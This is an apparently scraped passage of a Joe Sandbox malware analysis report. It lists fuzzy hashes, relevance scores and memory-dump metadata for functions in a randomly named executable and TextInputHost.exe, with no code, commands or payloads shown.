Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c357907c64b68a232bf029e71403d27733334ed950612af7680c3d006800ea3
Instruction ID: 18d0a7d90e637791a756e98a683da062f88c16c273d514785c0e9d729ec10f22
Opcode Fuzzy Hash: 0c357907c64b68a232bf029e71403d27733334ed950612af7680c3d006800ea3
Instruction Fuzzy Hash: F9F0D430918A4E9FDF94EF68C848AA977E0FF28305F0105A6B818C3164EA30EA94CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAC06D0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526f90d71db7cd9991cc2de07068ca7912592c3dd83911e47a3bbfa6d56a3799
Instruction ID: 1c11ffa142fc25cf11ef44b0b13f39abfe9c36c309308a2e0d642bd103d3eb45
Opcode Fuzzy Hash: 526f90d71db7cd9991cc2de07068ca7912592c3dd83911e47a3bbfa6d56a3799
Instruction Fuzzy Hash: 53F0123091564D9FDF90EFA4C8496EE77E0FF54304F014566E81DD2160DA74A6A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAC631D Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction ID: 5d6a4e0b30d827153ff2af71aa9eda42b9f30e7f85fabed5ffb97fa9f6fd5e6d
Opcode Fuzzy Hash: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction Fuzzy Hash: 64F06670E0A52D8EEBB4EB54CC54BB9B7B1AB54305F1141E9D44DA3291CF795E84CF08

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAC7EB4 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction ID: 6fd4b97efdb9da188c4dd5aeb6104df790e53e3256b2c581ceb3731d4e106203
Opcode Fuzzy Hash: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction Fuzzy Hash: C9F0DA31A0A11E8AE774AF40C860AB873F1BB50301F1540F9C08A97295DEB86E84CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAC5BD3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc8c41f7227b9cd4d12c42a95125dbfe143fd685036b63adbc6fc6ce169addf
Instruction ID: c734265c52006ae21b13157777a1d652a65a389c96e7f8b0b68f383b7aa7ddf9
Opcode Fuzzy Hash: 4bc8c41f7227b9cd4d12c42a95125dbfe143fd685036b63adbc6fc6ce169addf
Instruction Fuzzy Hash: 86E01AB1E4C62D8AEB71EF2488957FAB375AF55300F8151E9800D62195CF742B848F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9BAC09B0 Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAC0B56
#{9, xrefs: 00007FFD9BAC0B3E
!k9, xrefs: 00007FFD9BAC0B4E
"s9, xrefs: 00007FFD9BAC0B46

Memory Dump Source

Source File: 0000001E.00000002.2246011552.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9bac0000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 057c3a6c641ad2484ecefc5a41b36ed6716e55f4cbeef4389d8d7f4490db9165
Instruction ID: f17d6e978119647ccd11ef4a95e44de87463c3518ff9fce23693300551ff76af
Opcode Fuzzy Hash: 057c3a6c641ad2484ecefc5a41b36ed6716e55f4cbeef4389d8d7f4490db9165
Instruction Fuzzy Hash: 88415E16B0A56A45E329B7FD78219FD6B449FA933FB0843B7F85E8E0C74D086081C2D9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: oZTcEkJaieSsRsrMRoYKmeAXH.exePID: 8172, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BA90DA0 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ae92f0ca9114f06f5155af0a8d43c7969c1492c6b5bed67eb4f4f6a31baaad
Instruction ID: 94c5ee979cc063d831ee6f02ce5d3af00d5f09dd12e2fbb817bf3e305c7f3cb9
Opcode Fuzzy Hash: a9ae92f0ca9114f06f5155af0a8d43c7969c1492c6b5bed67eb4f4f6a31baaad
Instruction Fuzzy Hash: 59A1C271A19A8D8FE7A8DB68C8657AABFE1FF59314F10017ED049D76E6CBB41801C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA908D0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab514daed364b81ddc583db019ca4ddc3606fa1834f2d56005aff0ae5d992c69
Instruction ID: 891b6d86567a4f9b8fec72ba506153e38d9a15561353b330379c0d19c2673c03
Opcode Fuzzy Hash: ab514daed364b81ddc583db019ca4ddc3606fa1834f2d56005aff0ae5d992c69
Instruction Fuzzy Hash: 5651B231A0855D8FDB54EFA8D4A5AEDB7A1FF58329F0405BBE40DD7196CE34A441C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA9090D Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd52694cc8b5eb0f9fa894725578d0b05dae1adcdaa39a6146eaf56f24c66db
Instruction ID: fd8f59bf8d68262b57ab980443927f44fe7787628c5dc0639a46c46776c85bf8
Opcode Fuzzy Hash: fdd52694cc8b5eb0f9fa894725578d0b05dae1adcdaa39a6146eaf56f24c66db
Instruction Fuzzy Hash: FF519131A0855D8FDB54EFA8D4A5AEDB7A1FF58325F04057BE40DDB296CE34A481C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90908 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cfd8483d382e403eadae6e72886bb8dc81f73ef27eec51d9d96a3d0dcf629e6
Instruction ID: 9df4bcf6583bf732c08924d630f9a10059d62d575a77a4e22bb120f1ac1f01a0
Opcode Fuzzy Hash: 4cfd8483d382e403eadae6e72886bb8dc81f73ef27eec51d9d96a3d0dcf629e6
Instruction Fuzzy Hash: 01516B70A0590E9FCF84EF98D494EEDBBF1FF58325B050169E419E7260DA74E990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90BB5 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85ee733ea67b05729d4a1becf46d3ada47bd52ee25c58c4642d4329ca3286c55
Instruction ID: b4a678c44a70944575c1b234a998500d09352641610fde07690d1fb39e5e3a2d
Opcode Fuzzy Hash: 85ee733ea67b05729d4a1becf46d3ada47bd52ee25c58c4642d4329ca3286c55
Instruction Fuzzy Hash: 3A411430A0E24D8FEB21DFA4C8616ED7BB0EF45310F0606B7E468971E2CB786604CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90998 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fc9db13a8f88028987fb7be93f7fa3716000d4143a23998908b15cacb9d686
Instruction ID: 970b6da8852f822288696b6b486a0f20f3832d44d1e37023e6ff9f8ff23afb2b
Opcode Fuzzy Hash: 65fc9db13a8f88028987fb7be93f7fa3716000d4143a23998908b15cacb9d686
Instruction Fuzzy Hash: 0541F630A1495D9FDB94EF98C4A5AADBBF2FF68304F11017AE40DE3295DA74A841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA9756A Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da8e56999081c84ed6d4ad3cfc753a4fb56d9df7f726111546a61f9da56e24
Instruction ID: d29c921abad37c9e44636effee3cfcd33020284d8ac71726c6f723f2243a80c1
Opcode Fuzzy Hash: 30da8e56999081c84ed6d4ad3cfc753a4fb56d9df7f726111546a61f9da56e24
Instruction Fuzzy Hash: 1141CC31E0D51D8EDBA4DB14C8A5AE973F1EB69301F1041EA900EE26A1DB786E81CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA97E81 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0052282eb5f09dff7bd2acc37c8a79027c62c38f45ad2ec4f982fd6741abbc
Instruction ID: afcdd32b46d0b0026d03180110faa5bdd535a9ffafba27a0c126ed5e24034f42
Opcode Fuzzy Hash: 6f0052282eb5f09dff7bd2acc37c8a79027c62c38f45ad2ec4f982fd6741abbc
Instruction Fuzzy Hash: 3F318570A0A52E8AEBB4DB4488A4BE973B1FB54340F0141F9D04DA6295DFB42EC49F90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90B87 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59103098b05d649a0c1c0bab4db558d69a184cf58c7d4b09ba8400971f0f5c1c
Instruction ID: 1f231bdb082b8627d19d03129629daf7c6b3699013e50751afff113309d5eda9
Opcode Fuzzy Hash: 59103098b05d649a0c1c0bab4db558d69a184cf58c7d4b09ba8400971f0f5c1c
Instruction Fuzzy Hash: 0321D136A2964D8FDB54EF68D8559EE77A0FF48314F010176E84DC31A1DB30AA64CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 391d8b343623c216f6fdc0d61744974ed137da28b063827ca4b2d681cdaa7a18
Instruction ID: 7e13b94f6c1a0ba882d1621973a3e63697652cbf412b8f7349dbe9a8c1f3b31b
Opcode Fuzzy Hash: 391d8b343623c216f6fdc0d61744974ed137da28b063827ca4b2d681cdaa7a18
Instruction Fuzzy Hash: 9F117B32B0E28D8FE3229BA8CC251EE7B70DF82311F0645B3D050DB1E2CA78160AC764

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA9AF46 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c404eff28782cacfcca19d17d9650baac76208a1df4afb9145f66a1c23980022
Instruction ID: 1b93cd9da25e19893930421112afa6ee14f4bd6430630dd0f51ec5f6bfea0a58
Opcode Fuzzy Hash: c404eff28782cacfcca19d17d9650baac76208a1df4afb9145f66a1c23980022
Instruction Fuzzy Hash: 8C218930E0A99E8FDB39DB18C8946E9B3B1AF54306F1482E6D00D972A5DA746F84DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C38 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9089824590064428a3512413f96b3664d9bcd6f5772204dbc165adc98597a0f6
Instruction ID: 9c2afd4e8b3ce5570c6563192a6e9646f3f12ce04f1bada71d8fd3ec65c55e4b
Opcode Fuzzy Hash: 9089824590064428a3512413f96b3664d9bcd6f5772204dbc165adc98597a0f6
Instruction Fuzzy Hash: C2113A31B0E28D8FE3229BA4CC252EA7B74DF42711F0645B3D054DB1E2CA781609C754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123cfcffeadd628ba6145703f9d00e62dce66307bbfae3828623049909bba56a
Instruction ID: b18059e3791b7d08b8b1e5ec673fd594c7ce28083d2ebf2ef686690269991183
Opcode Fuzzy Hash: 123cfcffeadd628ba6145703f9d00e62dce66307bbfae3828623049909bba56a
Instruction Fuzzy Hash: 9D112931A0E28D8FE3229B64CC242EA7B70EF42311F0645B3D055DB1E2CA781609C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA913B8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6729c27f48b433e90b0f6f24bc7db88d698e439f6aa3a87008fdaf4f394a66
Instruction ID: d8994c26bfc74403a27a4e6bee229e41daa3737507db637f7776baaf3d950a0e
Opcode Fuzzy Hash: 5b6729c27f48b433e90b0f6f24bc7db88d698e439f6aa3a87008fdaf4f394a66
Instruction Fuzzy Hash: 8C01A87490894D9FDF84EF58C848AAE7BF1FF68305F01456AE41DD3260DB70A990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA906AD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd708131dd61e55d6b93f91326266fcb0f650124dfdf19540a52e6b40600379
Instruction ID: 4d1badb16476ab9f21c77731e2087ada41c2b01455ab5225281c1235fa6a972c
Opcode Fuzzy Hash: 1dd708131dd61e55d6b93f91326266fcb0f650124dfdf19540a52e6b40600379
Instruction Fuzzy Hash: 04F09630A0660E8FDBA0EF98D4046EE77A0FF54700F010437E40CC2160CA7462A08B84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA906D0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df64feb50f6be6475ca897e5dd44da3fd7959864a4121168a45ff5d439fa224b
Instruction ID: 0ab480fa1fbe9a9f5f3c762963bb32557544ce0a2f7227d69c23e8b8402f4bd4
Opcode Fuzzy Hash: df64feb50f6be6475ca897e5dd44da3fd7959864a4121168a45ff5d439fa224b
Instruction Fuzzy Hash: 60F01230915A4D9FDB90EFA4C9496EE77E1FF14304F014466E81DD2160DA74A6A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA9631D Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction ID: 1e7dd669af5b31657f97f0639a1536c595247a2e993f9b6cc28cd7a4d2d11d06
Opcode Fuzzy Hash: 49d56353eb4da2c6df37ad196e66bc30ed1068d3cdfa7fdd48780918f859cde3
Instruction Fuzzy Hash: CFF0C970E0652D9EEBB4DB54CC54BA8B7B1AB54305F1181F9D50DA2291CF781EC4DF08

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA97EB4 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction ID: 77a8bb8e849de229753cde8ecf0e174e74f1dce5afd47a189e39e05176c6c9ba
Opcode Fuzzy Hash: ccbe0d7a3e39925cecb5ee3bee936c29c23a8d3f96d28729e7674f81a96c6a65
Instruction Fuzzy Hash: 91F07A30A0A11ECAE7749B40C860AB873F5BB54305F1551F9C48996295DEB86E84DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA95BD3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a21c12e489bed93ec15fc3236b88659d1e47c7d10d8eed8349dfe9ee05b9b8b3
Instruction ID: c6a12d67b2d9cd9f820776037ce836cfcc9eae6afa3cc0bfbb1a310de909b8a7
Opcode Fuzzy Hash: a21c12e489bed93ec15fc3236b88659d1e47c7d10d8eed8349dfe9ee05b9b8b3
Instruction Fuzzy Hash: 1CE01AB1D4862E8AEB71DF2488557EAB375AF55300F8151E9800D62195CF742B849F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9BA909B0 Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD9BA90B46
c9, xrefs: 00007FFD9BA90B56
#{9, xrefs: 00007FFD9BA90B3E
!k9, xrefs: 00007FFD9BA90B4E

Memory Dump Source

Source File: 0000001F.00000002.2246181341.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9ba90000_oZTcEkJaieSsRsrMRoYKmeAXH.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 3517f8a8560e10825f5201e196fce2d222be475b1d3ce757b48fd5e8c7fbe29e
Instruction ID: 4b824baebccf283595344728bd331c0ed237638378e584dc75c89d22df49c701
Opcode Fuzzy Hash: 3517f8a8560e10825f5201e196fce2d222be475b1d3ce757b48fd5e8c7fbe29e
Instruction Fuzzy Hash: BC418F17B0D06659E329B6FD78618ED6B488F9827F70847B7F45E8D0D78D086085C2E9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: TextInputHost.exePID: 7276, Parent PID: 8032COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	83.3%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BAEB87D Relevance: 1.8, Instructions: 1817
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.3059532837.00007FFD9BAEB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baeb000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea16bdab99fa1314681a13912f6dff0668d91b95ff9076621e721fd71d574d9
Instruction ID: d0efedaaaee387811dff81a67800d69df712f3f4ad2b16e4071b1e9addb2366d
Opcode Fuzzy Hash: 8ea16bdab99fa1314681a13912f6dff0668d91b95ff9076621e721fd71d574d9
Instruction Fuzzy Hash: 8DF20C71E19A2D8FDBA8DF58C8A5BA8B7B1FB58310F0441F9D04DE3291DA746A81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F0FCB Relevance: 1.5, Strings: 1, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^, xrefs: 00007FFD9C3F104B

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID: ^^
API String ID: 0-4056246310
Opcode ID: 8ca6ef4fccfbdacdc26dcdbbaecd963db5fa14205a9818c00bf1d854f6947964
Instruction ID: 3b227d8a2ad7ae9daa41515448035b121746a4587fce7c39b88970f6d1fa0030
Opcode Fuzzy Hash: 8ca6ef4fccfbdacdc26dcdbbaecd963db5fa14205a9818c00bf1d854f6947964
Instruction Fuzzy Hash: 3E71CA31F0816A8BEB64FB58E851AE877B1FF14369F0442FAE41DD61C6CE346985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C44BE90 Relevance: .8, Instructions: 788COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f906f5e9ede0088e56193f007833bfa083e914ea4703e5c8bfc5bdac904ee645
Instruction ID: ab70830c613dd7d029fa964f54c0fc9798d70558d967e4705c06d224a64806e8
Opcode Fuzzy Hash: f906f5e9ede0088e56193f007833bfa083e914ea4703e5c8bfc5bdac904ee645
Instruction Fuzzy Hash: 75624870E08A5D8FDBA8DF58C8A5BE9BBF1FF58344F1441A9D04DE3291CA34A981CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3FA602 Relevance: .8, Instructions: 778COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5adda72494578132b638105bafac89c863964da6fe7d119b78e08c620208862a
Instruction ID: ce64801085f8951f8442826b25e713146fafcade3161ddfe8929b4a549704367
Opcode Fuzzy Hash: 5adda72494578132b638105bafac89c863964da6fe7d119b78e08c620208862a
Instruction Fuzzy Hash: 6542A33071C9098FDB99FF28C4A8D6577E1EF68315B5541ADE40AC72AADE34EC81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C3F7928 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3088062771.00007FFD9C3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9c3f0000_TextInputHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772c76bc64190f9474f60d70a3174e575f7dc0889d36e4d39a54cbe2a24ac202
Instruction ID: f530281d070438719d86da57b46a49503c79fa020fbdb37706cd5d0cdef81126
Opcode Fuzzy Hash: 772c76bc64190f9474f60d70a3174e575f7dc0889d36e4d39a54cbe2a24ac202
Instruction Fuzzy Hash: D8E17F3094D78E8FDB52EF648869AE97FB0FF06300F0545EBD458C71A2D638A959CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1C6482 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.3079607017.00007FFD9C1B7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B7000, based on PE: false

